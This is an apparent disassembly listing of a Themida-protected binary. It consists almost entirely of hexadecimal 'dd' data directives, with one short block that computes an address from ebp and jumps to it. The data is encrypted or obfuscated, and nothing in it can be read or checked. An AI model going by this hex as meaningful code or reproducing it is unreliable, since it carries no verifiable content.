		dd 55416D88h, 6DD5A4A5h, 2E2F2C5Fh, 748A5318h, 7FD16F35h
		dd 0D90B392Ch, 2C9A8E7Ch, 0B5F403B4h, 5C3EB4CDh, 62397C28h
		dd 1E5398AEh, 9E8D54BAh, 0A5h, 0FB386613h, 0C60B1582h
		dd 0D2B6F26Bh, 0B2AB0454h, 18FE0425h, 68336781h, 4D6A9AFEh
		dd 0D9336786h, 808D3A79h, 0E7594FB2h, 351DE311h, 974ABEBh
		dd 0E868C717h, 3B386BD9h, 4413245Ah, 0C5B73574h, 8281B2AEh
		dd 0DFCF7B83h, 0DC403B85h, 0C9232778h, 0AEEE3E1Fh, 5686C67Dh
		dd 1FD0D1C7h, 0ACDE7024h, 0A8D5FC67h, 7D74E26h,	0E7h, 0B4E34092h
		dd 194EDF34h, 0FC2B86CBh, 43F02D6Ch, 2B58D305h,	0F85807C0h
		dd 9CF070A7h, 4394D403h, 0EF2FBDEAh, 0EA6B03B0h, 818FEED4h
		dd 37BAB239h, 4EE53666h, 1443E03Eh, 28386687h, 180CA1F4h
		dd 33678132h, 0A89D0E42h, 42FC6EF8h, 0D5585DBh,	67820FF5h
		dd 0B7E19333h, 70732C00h, 0E828F415h, 0B692CEB7h, 7D86128Eh
		dd 0E0956535h, 0AB03ACCAh, 0FD6FBD85h, 6D3B0B88h, 78B3E58Eh
		dd 797C3CCh, 48DEDE3h, 0A8A8DA84h, 5483207Eh, 0F469C614h
		dd 5A404667h, 26398208h, 0AEB4CCB4h, 2759363Dh,	2475A646h
		dd 67A6B85Ch, 0C24BF837h, 4989F65Ah, 873173EAh,	0FE356583h
		dd 75A8E987h, 6EBF1408h, 0E43799F7h, 0CDB3CB4Ah, 0D599CE34h
		dd 0AB265F3Bh, 0E942928Ah, 5071C569h, 0F676AD02h, 0C4120BA8h
		dd 3, 66BB86C9h, 0F686FF34h, 7A120BA8h,	0C39D8019h, 552B128Dh
		dd 0DBB5A803h, 213F2679h, 0B4C8BDF0h, 759CC61h,	0B3E459D0h
		dd 815D5455h, 4C5h, 4ED8300h, 5C242C87h, 467F68h, 24148900h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 6850243Ch
		dd 600A0F68h, 47220D58h, 943577DBh, 57C6176h, 100770FFh
		dd 59F6BB53h, 0D801EA58h, 58C2895Bh, 8904EC83h,	4812424h
		dd 424h, 81525F00h, 3A38242Ch, 478F3CECh, 8478108h, 3CEC3A38h
		dd 56243C8Bh, 0C681E689h, 4, 8704C683h,	0FF5C2434h, 815A2434h
		dd 4C4h, 32FBE900h, 7E37FFFBh, 0F6E2AD37h, 2B50245h
		db 0C5h, 98h, 8Ah
; ---------------------------------------------------------------------------


loc_5DEC3B:				; CODE XREF: Themida_:loc_5DE030j
		mov	eax, 61A1000h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 69198947h, 209DE846h, 25FA571Ch, 72026865h, 35DB551Dh
		dd 592EF080h, 4D6E3188h, 5BE4C716h, 4F25E15Ah, 4BEBC2C5h
		dd 5AE288E0h, 688F5E87h, 1A8E08Eh, 548E4B68h, 48710978h
		dd 3F6969C8h, 3CAF0899h, 4BA52145h, 515D13FBh, 237642Eh
		dd 6585F2F1h, 2A3891FDh, 3709BBABh, 5133DD87h, 8E8h, 19419600h
		dd 0CAAA1B62h, 8E8F6h, 0B4140000h, 0F8680EA5h, 840FC43Ah
		dd 6, 8E0Fh, 595A0000h,	11E9h, 0B54F5700h, 2BF7B62Dh, 7E0AF023h
		dd 32062AACh, 0C1816F85h, 60F4h, 8166FF2Bh, 8B183BC3h
		dd 0C7BA3904h, 812C2F95h, 6931D3E8h, 0DB25BA07h, 0E88158CBh
		dd 70EBE6Ch, 0E881F78Bh, 6C40BB46h, 3086BA52h, 895A0352h
		dd 0D08B3904h, 0EF81F28Bh, 23CADC48h, 0F97FBB66h, 0DC44C781h
		dd 0BA5123CAh, 0FBD0719h, 0DCFF815Ah, 0FFFFF9Fh, 2385h
		dd 880F6000h, 3, 60DF8B66h, 6E9h, 0A09F6300h, 0F80A6BA9h
		dd 1EE96161h, 0E5000000h, 3802067Ah, 0EA816657h, 0E95E7E12h
		dd 0FFFFFF7Fh, 240CFE0Ch, 345AEFA4h, 90797980h,	0BFE96Ah
		dd 660B0000h, 9CD71BD0h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 0
		dd 15ABE900h, 0A9680000h, 0E9061A14h, 0FFFA6E2Ch, 1A159368h
		dd 6E22E906h, 6268FFFAh, 0E9061A16h, 0FFFA6E18h, 1A17AE68h
		dd 6E0EE906h, 3E68FFFAh, 0E9061A18h, 0FFFA6E04h, 1A18EC68h
		dd 6DFAE906h, 0C968FFFAh, 0E9061A19h, 0FFFA6DF0h, 1A1A8068h
		dd 6DE6E906h, 2168FFFAh, 0E9061A1Bh, 0FFFA6DDCh, 1A1CB768h
		dd 6DD2E906h, 0D868FFFAh, 0E9061A1Dh, 0FFFA6DC8h, 1A1F8A68h
		dd 6DBEE906h, 7C68FFFAh, 0E9061A20h, 0FFFA6DB4h, 1A21BA68h
		dd 6DAAE906h, 0FD68FFFAh, 0E9061A22h, 0FFFA6DA0h, 1A24DA68h
		dd 6D96E906h, 0E68FFFAh, 0E9061A26h, 0FFFA6D8Ch, 94981333h
		dd 7F83FA0Bh, 64A8E5E0h, 52D6CDFBh, 37FBB6D5h, 133280B4h
		dd 0D9A9Eh, 0EAE68185h,	0CAFC6BAFh, 0DF224FD3h,	0EA81E35Eh
		dd 0E9D36055h, 0DFD6F48Bh, 9848655h, 215C6EF1h,	0B1DFAEDDh
		dd 0CC46C2FAh, 6863E9F8h, 9281B0FDh, 0C50253F0h, 68AACEC9h
		dd 631CDE5Fh, 71D549DCh, 8365D859h, 588755E4h, 99FB2131h
		dd 299B8BA8h, 11000000h, 0E01B6180h, 0D3C0FF75h, 0C5081265h
		dd 0BFD04E4Fh, 2D1149DCh, 73A19C1Dh, 844355E4h,	6DBF6D6Dh
		dd 13DF8BA9h, 0D5000001h, 6366567h, 24574A79h, 176C442Ch
		dd 457A8959h, 0EFEC02D7h, 0CAFA3834h, 0E31893B5h, 5E007295h
		dd 0C0447431h, 0FB9F3A2Eh, 0D0F28D39h, 471059DDh, 3353F033h
		dd 1A619A11h, 4D63B5E8h, 0DC39FEBBh, 43DC949Eh,	0CA324A41h
		dd 0C33E4D3Bh, 0A21B09B5h, 0C2CD0DE1h, 6451A3C7h, 49DC2EC2h
		dd 641F2D3Ch, 87FE0B54h, 0ED519163h, 0E7D8FDEh,	293F4C04h
		dd 0C205012Ch, 96A5023Eh, 2D55E457h, 0A9F60529h, 55E4579Ah
		dd 0C7FF3519h, 22395226h, 1EA96B26h, 0CB0F7C91h, 7893F74Fh
		dd 9CAFE2E1h, 0FFB58421h, 5DCE5FDBh, 0DBFC61D0h, 7A9EE25Fh
		dd 606FF8B8h, 0EC82EA2Dh, 0C23A6301h, 12FBF0h, 0C3BECE00h
		dd 0EE9FA03Fh, 1792BD2Ah, 3F769413h, 205D6CFBh,	0CD755FDCh
		dd 0A03FC3BEh, 0B926EAA3h, 910E128Dh, 9DF83C6Fh, 86B2812Eh
		dd 823155EAh, 0D5F48B1Eh, 86855AD8h, 0A0D8D5F0h, 63FC0024h
		dd 95E62A61h, 924EFD3Ah, 56C553F0h, 0F0927AC9h,	7195F953h
		dd 0F48BB9A3h, 3B4DDAD3h, 46CC4840h, 0D2E99F6Eh, 0DC6CC555h
		dd 23A1E49h, 0E49C9CA3h, 789F7E55h, 0A89AB47Ah,	0ABC28Bh
		dd 0E4570000h, 0E49088BBh, 0D070B55h, 0CD65670Bh, 4DC9C1BCh
		dd 3F4E1129h, 3EEB4A42h, 9A53F097h, 76F13568h, 0B9215954h
		dd 8E2F5C28h, 49DC7EA4h, 0C6B579DDh, 1F158887h,	193246A7h
		dd 0DC4B4642h, 43C7F7AEh, 55A9F6B1h, 994FCBEAh,	0C11F63CBh
		dd 55B1C9C4h, 0C48915C3h, 25563A4Eh, 0A66A2726h, 90970A39h
		dd 63029C32h, 11CCDE4Eh, 0F4000012h, 0CA55D9D4h, 0A740C4B9h
		dd 0B22DF1ACh, 8A151994h, 7902067Bh, 0ADE0EF57h, 0D4D1FE69h
		dd 0C0BBD750h, 0EAA1A33Ch, 0B7F04B26h, 55EA8784h, 6730F41Fh
		dd 76F13568h, 5B225954h, 0FABE742Fh, 36656738h,	54477906h
		dd 413C57D0h, 9B12334Ah, 30522D99h, 9F57B97Dh, 9BB6F762h
		dd 1853F092h, 0B1C9C4CFh, 0CBE33155h, 1994B53Ah, 2D59C6F5h
		dd 2649DC6Bh, 0D78EB22h, 2757527Eh, 9AAF9AA3h, 202455E4h
		dd 4B5FE3D2h, 4D9C5C7Eh, 0A4C8C5C4h, 0AEE01697h, 0D71B442h
		dd 106485FDh, 2685BAFBh, 0A0E4A6Dh, 8A2B86F1h, 5A3924BFh
		dd 24073273h, 0B89C5A39h, 1DB240C4h, 0CB06A7EBh, 485A3924h
		dd 0C35CA0C4h, 0F145CAC1h, 0F36563A3h, 1142899Bh, 5050000h
		dd 0E819868Ah, 0DBF671B5h, 0BFCD5ADEh, 0A8A740C4h, 86AA31F5h
		dd 989C1130h, 878B020Fh, 6DB1EC18h, 59DDD0F2h, 0D160CD3Ch
		dd 5255EA84h, 0FD8BFF21h, 43A94D80h, 0A05E28Ah,	0B4D6858Fh
		dd 8859C1F9h, 0CC6ECFFCh, 6549DC37h, 0F36E1DE1h, 0E43787B2h
		dd 0FA381C55h, 265523C2h, 0C83251F9h, 4E7EC24Fh, 0F5E887DDh
		dd 0A6B3C7CDh, 8DE616Ch, 0D13C5FD8h, 2672B8BAh,	0BDCC91BDh
		dd 9FFB138Eh, 1C70C36Ch, 8FF35FD8h, 37FA85h, 0F08F0000h
		dd 28ACDCD1h, 618060EAh, 0F947E01Bh, 7249DC2Ch,	626EFD0Eh
		dd 0A19AE327h, 8155E4DCh, 0A2D9F77Fh, 60A2EAAh,	1A326D99h
		dd 108708h, 44401F00h, 5FD53149h, 1B6180D5h, 0A4FF75E0h
		dd 31A781FFh, 19B934FEh, 0DD49DA0Ah, 98963B87h,	3CF6CCADh
		dd 0D84B40C4h, 80A8581h, 417A3153h, 9AF53133h, 0AAC35DE8h
		dd 0E6BF7136h, 0BE8D2A3Ch, 3555EA87h, 33E72D51h, 0E31B92B4h
		dd 0A7DAE970h, 0E88596Dh, 15D393F0h, 0ABA0C4B4h, 0C0FB590Ah
		dd 7496D54Fh, 15920139h, 5FC43F26h, 7FB5D9BDh, 75F4070Bh
		dd 4BD45853h, 0D24A4239h, 0E9364533h, 45E8EE31h, 8FD95E22h
		dd 695CE47Dh, 0FF623F1h, 0B9C90000h, 0A4A542C6h, 8FBA25E9h
		dd 73910E12h, 5C6BF438h, 7A5EDD21h, 3CC0BDCCh, 2BEFA6A3h
		dd 111590BCh, 0F5397496h, 0B5842198h, 0CE55EA85h, 86B90385h
		dd 4A53F092h, 3AE5933Ah, 7AB88C63h, 0A6D5A342h,	22F0ABA7h
		dd 35571681h, 5CD23646h, 877594C6h, 0D1DC5679h,	49DA401Ch
		dd 0C0BBC990h, 0A2C64CC8h, 0ACDEADDEh, 7484F90Ah, 0AAA2D9EBh
		dd 22E60A2Eh, 0D4F38385h, 1D85B5D9h, 2283B8CCh,	4FC6A408h
		dd 1A5ADDA1h, 0F262FF24h, 0F66889Ah, 29590000h,	1435B276h
		dd 0FF0A9599h, 0E3E17E82h, 0CCFB64A8h, 0EACE4DD1h, 0AC702D5Ch
		dd 9B9F1633h, 8185000Ch, 65A9E4E6h, 0C574B108h,	5E55EA8Ah
		dd 6567F335h, 48460536h, 98E7C74Dh, 67073766h, 0CB116188h
		dd 0EB859488h, 9CFh, 1B6180C1h,	0F4A790E0h, 0FABB5D02h
		dd 1E2E8F38h, 9B49DAE2h, 0C3C584B7h, 6C9C1733h,	4B40C4E8h
		dd 7472473Dh, 0EF017C58h, 62D5A2F0h, 20FF3560h,	0D5C6F1Eh
		dd 337381FCh, 108BB9C0h, 27969CF8h, 55EA1818h, 26E09CD4h
		dd 21B27ACBh, 7E0ADBD3h, 0E4EE04Dh, 63E74FC6h, 0FEBE669Ch
		dd 0F0C23A62h, 0EB8h, 0FC007B8Bh, 0E72B6263h, 0CC504D78h
		dd 0BA7E3553h, 9F631E2Dh, 7B8A381Ch, 68650206h,	527EE92Dh
		dd 3254D357h, 67DAB77Bh, 0EA8A0BC6h, 414B8855h,	84216567h
		dd 53F092B5h, 15264ACEh, 522EF15Fh, 0C052FA85h,	0E5E177E4h
		dd 2AB84EB9h, 0E2E4BB79h, 3CD393ABh, 0F0A5AD5h,	442AAE3Bh
		dd 7BA149CBh, 0DB859545h, 13E1868Dh, 0F63114EAh, 9457DDD8h
		dd 8F7h, 9286B900h, 0A04153F0h,	4A9A232Fh, 736D6124h, 0DFEC1034h
		dd 1AF5B989h, 0BAD1A188h, 0F0E8CE7Dh, 33C14553h, 1BC93770h
		dd 54249DAh, 719E8904h,	9C800434h, 4DEE106Fh, 75580FF3h
		dd 60A2EB6h, 4346799h, 0C3F4D9Ch, 114EC391h, 986C39FFh
		dd 83371B9Ah, 2FB84FC6h, 0F4506823h, 41234FD0h,	6DDD62FFh
		dd 0DDB5Fh, 0E39EAE00h,	0E7F801Fh, 37729D0Ah, 5F5674F3h
		dd 403D4CDBh, 0AD153FBCh, 801FE39Eh, 99060A83h,	71EE326Dh
		dd 0BDD85C4Fh, 8B52E14Eh, 0A2D155EAh, 3665677Eh, 0BAD69506h
		dd 0C94BCFFFh, 8DBDF012h, 828FDEEDh, 9D97F30Bh,	0CC8497FEh
		dd 0BF714A4h, 0B058DAD1h, 8595826Ah, 83274h, 0F48BA000h
		dd 24A0D8D5h, 4137D6EEh, 9E15334Ah, 9F28EA6Eh, 0DA61F31Eh
		dd 0BAFE7049h, 0E825E976h, 356CAA7Ch, 81CFD2CFh, 0ED1F6E9Dh
		dd 0DBED7ABEh, 243BA8A0h, 0F6526A23h, 0AA8EB13Ch, 0B84955EAh
		dd 0CF56E43Eh, 254939EAh, 0F0A58916h, 4ACE4FC6h, 0FEEFA3C5h
		dd 0FFCD3D62h, 0D24h, 70B4E7E7h, 63A7D6F7h, 48CCC9C4h
		dd 36FAB1DFh, 23E79AA9h, 0FF0EB498h, 0E4E17E82h, 0CEFA65A9h
		dd 0AED04FD3h
		dd 0E35E3BFFh, 0EA88F742h, 0DDC70C55h, 6366567h, 0E0A64779h
		dd 6E787302h, 9CE31B3Fh, 4C1A326Bh, 0EBB294E7h,	0D5F730B6h
		dd 1CE96A6h, 37D820EAh,	274C92E0h, 786A8595h, 46000007h
		dd 0F09289B9h, 0D1A74653h, 0F304FBAh, 1519949Eh, 5E49DA60h
		dd 88BAC1FAh, 74961115h, 4F7B0239h, 52A02454h, 6D1BEA52h
		dd 8A010F5Eh, 84FE3F88h, 9D4FC67Bh, 3E5E76B9h, 76E662FFh
		dd 0C83A4h, 4B464600h, 762758C7h, 9F1A35B2h, 87FE0C9Bh
		dd 0A8E5E483h, 45CDE764h, 58C74B46h, 31AE722Bh,	9969A15h
		dd 158084F7h, 893A0996h, 1AB955EAh, 36656796h, 8A5D4F05h
		dd 1FBD46F6h, 2A3AA915h, 8166ADD7h, 45F4311Ah, 0DE53F061h
		dd 0BCC9567Ah, 0C74DC9C1h, 7487F608h, 2425D9F5h, 0D1F55169h
		dd 0C3C25DB9h, 4E7844CEh, 0C437EA01h, 0F061E85Bh, 2DE76B53h
		dd 0CD514C7Eh, 957FBB61h, 0CF4D1B85h, 868A6C84h, 77A641D3h
		dd 72000001h, 5366567h,	96B24446h, 813DF71Bh, 59C6CCFEh
		dd 53F092EAh, 0B5F01E69h, 0F91D0185h, 0EC8EBBC2h, 8B83A7DEh
		dd 0B9F4100Fh, 4B0F0581h, 0ADDEAA3Bh, 0EB66C732h, 0C353F092h
		dd 96FACEC5h, 92093865h, 868A53F0h, 634D018Ch, 9AE149DCh
		dd 0D8F5326Fh, 2F1357DDh, 83AF9E1Fh, 824D55E4h,	99C16F6Bh
		dd 58DD8BA8h, 0DB000000h, 0EAE96180h, 6765CFABh, 42E3183Ch
		dd 49DC55D4h, 0CC49DB2Dh, 0A714F6E2h, 0BD380B94h, 0D7BB55E4h
		dd 51289BB3h, 0C5417934h, 0BDFF4E4Fh, 0B1DF55E4h, 0D26CC708h
		dd 0A4C80713h, 0C1BCCB94h, 99F01FC9h, 0AE2A1986h, 0A5A955E4h
		dd 52B9A481h, 0A8C8DA00h, 8DE48Bh, 67300000h, 79063665h
		dd 5827574Ah, 38477726h, 0CA939706h, 53F04E09h,	37443749h
		dd 0D8885C4h, 0E15099FDh, 0C953F0BEh, 53B7C7BAh, 59191B7Fh
		dd 9FACD829h, 0DFDB6E1Eh, 5467EB49h, 77BBF615h,	63A4D9E8h
		dd 69168955h, 0EDE1B32Bh, 0D000000Ah, 0AE39FDB0h, 831CE09Dh
		dd 9E090D88h, 76F13570h, 55D65A57h, 0F9B4D363h,	0E09DAA35h
		dd 0C87831Ch, 3E6D9F08h, 832C9FFAh, 55EA8EB0h, 671C8033h
		dd 76F13568h, 5B225954h, 0FD59712Ch, 8BB18337h,	8E18ADFDh
		dd 0E3F7394h, 0D2DFA7C7h, 0FB906286h, 0A5BAD2C9h, 60D3E8A3h
		dd 0F06974C7h, 9C8B8F53h, 36E2306Dh, 536E4h, 188B7200h
		dd 0F092AC9Fh, 0D1232753h, 81830CDDh, 9FD5E60Ah, 87517374h
		dd 7E92AC14h, 8A73D54Bh, 5EDFE82Ah, 49DCE304h, 0E04179DDh
		dd 55E44B5Dh, 393950BFh, 8BA965F3h, 28B83h, 8FB92900h
		dd 4853F092h, 0A8B8D3B9h, 91AFF084h, 0A6A7400Eh, 0B143C7F7h
		dd 7AFA9F6h, 0FC8349DAh, 0EB66C7CDh, 6855EAE8h,	6ACBC0E4h
		dd 55EAE8DFh, 0C622F054h, 86DE4942h, 4E8D8A26h,	2D606282h
		dd 32540B09h, 69C4B77Bh, 0EA397DCCh, 8092F655h,	0CAC2B9CBh
		dd 2B37B352h, 0BCE888C6h, 8BE61539h, 4FD8D5F4h,	0D6324A41h
		dd 0AA25515Ch, 5A3E4FC6h, 0FE8DD1D5h, 495BB362h, 9CCh
		dd 181C8FBFh, 0B0F7E8Fh, 0F034719Ch, 0DE225977h, 0CB4F4241h
		dd 0A7A66C40h, 8CB926EAh, 76920D11h, 5668F73Bh,	4BB6E327h
		dd 0EA8F5FEAh, 75BFD455h, 26D8F48Bh, 30486C29h,	466A212Fh
		dd 0BEED1FCCh, 0D6D3FE8Dh, 6CF3605Ch, 0B0142461h, 3A590B7Eh
		dd 2EE430A7h, 2C5C4F71h, 17365DFAh, 98286F5h, 8038AC7Bh
		dd 9BFF0F7Eh, 16A0AA85h, 682BAF7h, 0A24810E2h, 3C859522h
		dd 194h, 366567F8h, 54477906h, 0D951B0D0h, 0E5C27891h
		dd 7D8EB29Ch, 0DC867E30h, 5768F749h, 0AB0A0226h, 55E46494h
		dd 0AD809776h, 641F2B32h, 0E464D665h, 0CCC9C655h, 0E06458BCh
		dd 7EA04E12h, 6FFE8BA9h, 95122964h, 55E47CA6h, 28DB593Dh
		dd 53h,	621F2E3Dh, 0F48BAE90h, 27A3DBD2h, 7C08D9EDh, 6C70EE4Fh
		dd 76F149DCh, 0AA2E5E5Bh, 84FF7586h, 0D719A151h, 0AB0ABA78h
		dd 55E46C94h, 0AD809776h, 6C46F532h, 82DD55E4h,	2CE60A87h
		dd 0A98A9E4Ch, 0D9388Bh, 3E4D0000h, 0F89F910Ch,	8C92EDD5h
		dd 67D55FD5h, 79063665h, 0B427574Ah, 926DDC59h,	99E653F0h
		dd 113376Ah, 0D552384Ah, 53F09266h, 457599FDh, 9195083Ah
		dd 2E6563FAh, 4C3F411Eh, 5EEBEA28h, 7A53F021h, 0E7A2AE48h
		dd 0ABD73D7h, 0DCB6AF0Ch, 2232496Dh, 0C5E93DC2h, 62161C68h
		dd 86B5C322h, 0DF446719h, 5368EC49h, 0CAF447E0h, 0B0F55E7h
		dd 0A0AFBE09h, 0ED1BF81Fh, 0F51903CEh, 118C87C6h, 0E3979DF9h
		dd 41F03DA8h, 0C255E7C8h, 0FE0E8985h, 0EFBC769Ah, 706AADE0h
		dd 8691600h, 81A8290h, 0DDED0000h, 0C0C15EA2h, 0B3DE49CDh
		dd 97B532F6h, 808F181Ch, 0AE82090Dh, 70B4E918h,	5FA3DAF7h
		dd 45C9C4C0h, 31F5A8DAh, 89B8E544h, 0A55EA8Dh, 6867C7C9h
		dd 5476F135h, 671FD559h, 79063665h, 0BF01A647h,	3B3D6254h
		dd 6965E417h, 78BA1E2Eh, 27962B8h, 23310000h, 0EAEE96BDh
		dd 7090B4Eh, 0DFE06180h, 6718AAEh, 923F0AABh, 0D0B453F0h
		dd 0CF453857h, 0DA61ECCEh, 56D74249h, 55EA80FBh, 0EA1E1478h
		dd 68D75666h, 8A55EA80h, 8D6244Bh, 568BAE9Fh, 0E996FA1Eh
		dd 0AE642A3Dh, 1FEDDh, 8FB9DB00h, 4853F092h, 4DB8D3B9h
		dd 6797123Eh, 12A411E3h, 0AB49DA61h, 0B3D594A7h, 384734F8h
		dd 1F7B930Ah, 293A8809h, 25EF0C34h, 21595476h, 2F5C28B9h
		dd 0E5A0ADBCh, 77FA49D6h, 157955EAh, 8C649E1Fh,	99FD4FC6h
		dd 0FE6AA696h, 5C6EDE62h, 728h,	6CB0EB1Bh, 57DBD2F3h, 3CC0BDC8h
		dd 2AEEA5A3h, 0F138EBDh, 0EB1AA88Ch, 0D8F572B6h, 0C2CE59DDh
		dd 0A2A443C7h, 0F74A27EBh, 0EAB29BB6h, 31FB1855h, 5366567h
		dd 31494446h, 0FE1A5527h, 0E90DDC54h, 0C2C49B2Bh, 0F605B3CBh
		dd 2F5E609Fh, 7EA14FEBh, 543D8595h, 0FB000001h,	0F5C46567h
		dd 0C37F545Dh, 9BE41438h, 96EE3269h, 9F0A0177h,	0F068231Eh
		dd 56DCA053h, 9906C855h, 6BEF49DCh, 996BD253h, 928955E5h
		dd 994B8627h, 44C855E5h, 88CA21CEh, 8BA99362h, 2D7Ch, 6180B800h
		dd 0D747E01Bh, 2849DC6Ch, 0D4F8B3DFh, 9C3A05A4h, 0E1D855E4h
		dd 0E0326F9Ah, 38E6F41Bh, 468BA89Ah, 0B7h, 3B7294EBh, 656777F9h
		dd 4A790636h, 6CC92457h, 53F092DDh, 5CD9F256h, 53F092EDh
		dd 9410E266h, 0CAC2B9CBh, 0F241EE59h, 0DA53F092h, 0BB9FF3AEh
		dd 16A0A279h, 0A8EBEFBh, 0FE5B22E6h, 0DA53F018h, 5131F5A8h
		dd 0A1B7C4B0h, 0EB323B91h, 0C1E230E3h, 0DFFF9864h, 9EAD9149h
		dd 7EB2CC6h, 11E1CC7h, 3E898B06h, 0A96D202Fh, 1C600F3Eh
		dd 0E3EF379Bh, 270D1236h, 59691690h, 5EAD3E1h, 0ADDD0000h
		dd 90B12EF2h, 838E191Dh, 67650206h, 507FE82Ch, 7E52D95Dh
		dd 40C4B9C8h, 2FF3AAA7h, 151994B0h, 105788Ah, 0B9881594h
		dd 3A55EAB3h, 68671799h, 5476F135h, 8B1FD559h, 0DF074818h
		dd 0DF019E12h, 0F0AAA39Eh, 0D65C2053h, 67940739h, 3C4BED18h
		dd 0A9CD4941h, 0CFFF3591h, 1B1F8EB0h, 3AC1h, 0EE9ED600h
		dd 1754C504h, 670B0D07h, 79063665h, 1AA3AF47h, 49BD051Eh
		dd 0BA6C904Eh, 505EB67Fh, 0ED1D01AAh, 98A7CEA9h, 98F33766h
		dd 61B1802Dh, 4E3253F0h, 345AC4h, 67D00000h, 0AA053665h
		dd 0F0923E0Dh, 43D1B553h, 5C69F063h, 67AD2921h,	0F092D476h
		dd 0E564C753h, 8665AFEAh, 7F2E506Fh, 37B0C0BBh,	13A92AFh
		dd 0D888463h, 65671D07h, 0CBC3BECDh, 0AB132B4Fh, 901D2E5Ah
		dd 49DA6132h, 9A1334B3h, 872F1462h
		dd 28B4F3BAh, 78EBE004h, 0B5561EE8h, 7BB9877Eh,	27EBA2A4h
		dd 0E71786B8h, 0E11A6E7Fh, 0C0CE9344h, 77B0234Fh, 5FC452C4h
		dd 0C939FB5Fh, 15373645h, 92E9A266h, 0CAC5C177h, 1A3256B2h
		dd 0A5A774BEh, 8F5EC6F6h, 0BD65C2F9h, 0B645E883h, 69714DD2h
		dd 0AB035CE4h, 4A799h, 376A9A00h, 5A5374F3h, 433E49D6h
		dd 6B2220BFh, 940938A7h, 91210B90h, 6CFB3F72h, 45E2265Fh
		dd 5DCA4E49h, 0C1AC702Bh, 0B00E3D7Ah, 4E8555EAh, 3665674Ah
		dd 0AA5375F2h, 0C2CE0F74h, 0B9D451C7h, 225A5374h, 6E9E82A6h
		dd 0D6616EFDh, 4A2BEB3h, 0E33155A5h, 6B631A2Ch,	4140F214h
		dd 4F10284Ch, 0D4334B42h, 0B2040E65h, 0D8082D9h, 74BEF312h
		dd 3F418097h, 1E203F4Ch, 41EDA56Fh, 85952A9Bh, 403Bh, 6180F100h
		dd 0F947E01Bh, 7249DC2Ch, 5C6EFD0Eh, 67AD2921h,	7C090544h
		dd 0F3CBC260h, 8286AADBh, 0E472063Bh, 6D202255h, 4274065Eh
		dd 52BD835Fh, 7B9710C0h, 0E93A0800h, 9000003h, 0D45E5372h
		dd 36656752h, 0CBDF9506h, 0DCC87824h, 0C2C49B99h, 0AE3F47CBh
		dd 4A04A1DAh, 0E449DC65h, 0AFD06665h, 264ACEFEh, 60B216h
		dd 0B9D1CCC7h, 0A001395Dh, 55E4859Dh, 7979907Fh, 8BA89FB3h
		dd 38C3h, 6180E900h, 0D747E01Bh, 2849DC6Ch, 3B481724h
		dd 44CE4A42h, 9C063978h, 282655E4h, 5025D6Dh, 0E1EF7088h
		dd 403692AAh, 0B56DC33h, 8755A5CCh, 178BA89Ah, 0E9h, 3665679Dh
		dd 4C494605h, 6A5AD83Ch, 83BBF615h, 0B8D3CAFCh,	0CB2168A8h
		dd 0D55FCE88h, 397496E9h, 70E3B4F5h, 2C3353F0h,	0BCAB901Bh
		dd 4AD80D3Eh, 0D3FEC26h, 0FB0D9A9Eh, 0F1108880h, 7B37708Bh
		dd 0CB49DC55h, 0EC1C99B4h, 0FA5EAA68h, 7FEA4536h, 0E4D5033Eh
		dd 0BDBC8055h, 55E4D58Eh, 0BBF30105h, 0B22D5E2Ah, 0E4D5C675h
		dd 1025D55h, 0F4187C8Ch, 0A6208D3Eh, 0DF4FCB8Dh, 0FE0E7F80h
		dd 645769Ah, 1A7E8E0Bh,	243CAF18h, 52696942h, 0C09F9500h
		dd 0DF48CCC1h, 683AFDB0h, 63031Fh, 2CA9AA8h, 8DBD0000h
		dd 70910E12h, 636EF93Dh, 4745E226h, 305FC84Ch, 1E32B97Dh
		dd 20E499A8h, 0F138A87h, 0F5397490h, 0E125586Ah, 59E835B4h
		dd 0DA55EAB6h, 686777B9h, 5476F135h, 0A7A6D559h, 7FDBF3AAh
		dd 1B1B3EA9h, 0F73D72EEh, 0D3F48B0Dh, 0EC26A2DAh, 484309D8h
		dd 0DC6C7FEFh, 7C8CF049h, 19F7790Fh, 657BCD5Ch,	80A2E69h
		dd 0E41FB28Dh, 3B769255h, 564F7C03h, 5EB56226h,	274E89D4h
		dd 0A91A052Bh, 0F8918Bh, 0AEA60000h, 0D959450Ah, 808A8891h
		dd 84216567h, 53F092B5h, 1C8FB1CEh, 69242FF8h, 1B2A3545h
		dd 66E55666h, 4D122A67h, 0CF4B433Eh, 0BB6C69ABh, 0E753F096h
		dd 0F572B6E5h, 0D36ECFD3h, 5053F094h, 0ACB3C8ECh, 8AD5E5A0h
		dd 8F0B037Eh, 0A51DA96Bh, 9A1B3044h, 49DC71D0h,	0FB95E35Eh
		dd 49D6D0C5h, 2F34E8Fh,	0C7055E4h, 283BEFFh, 3C0055E4h
		dd 8A8EF2F6h, 4D6FEBFAh, 5F206636h, 4B4EECB3h, 3AB763D5h
		dd 5FB8E516h, 0D04FCB3Ah, 1005F6Ch, 80F3888Ch, 7B0A28F0h
		dd 0DE1F4B48h, 5FDBE263h, 0F9969CE0h, 8850D7CAh, 706301EAh
		dd 1960A18h, 59690000h,	4445E226h, 2F5AC549h, 1331AE72h
		dd 0FC0B9498h, 0DAFE7D81h, 0DC205D6Ch, 0CB4F4643h, 0B175305Ch
		dd 95991436h, 152481F8h, 0AE55EAB4h, 6867A365h,	5476F135h
		dd 305B2259h, 49D64575h, 53F092FAh, 23F11579h, 188BBD77h
		dd 0F092AC9Fh, 0D1232753h, 6595083Ah, 71B5E81Ah, 2722D4F6h
		dd 9201307Dh, 0BE8253F0h, 0DE46769Ah, 0E83820Fh, 71BA4218h
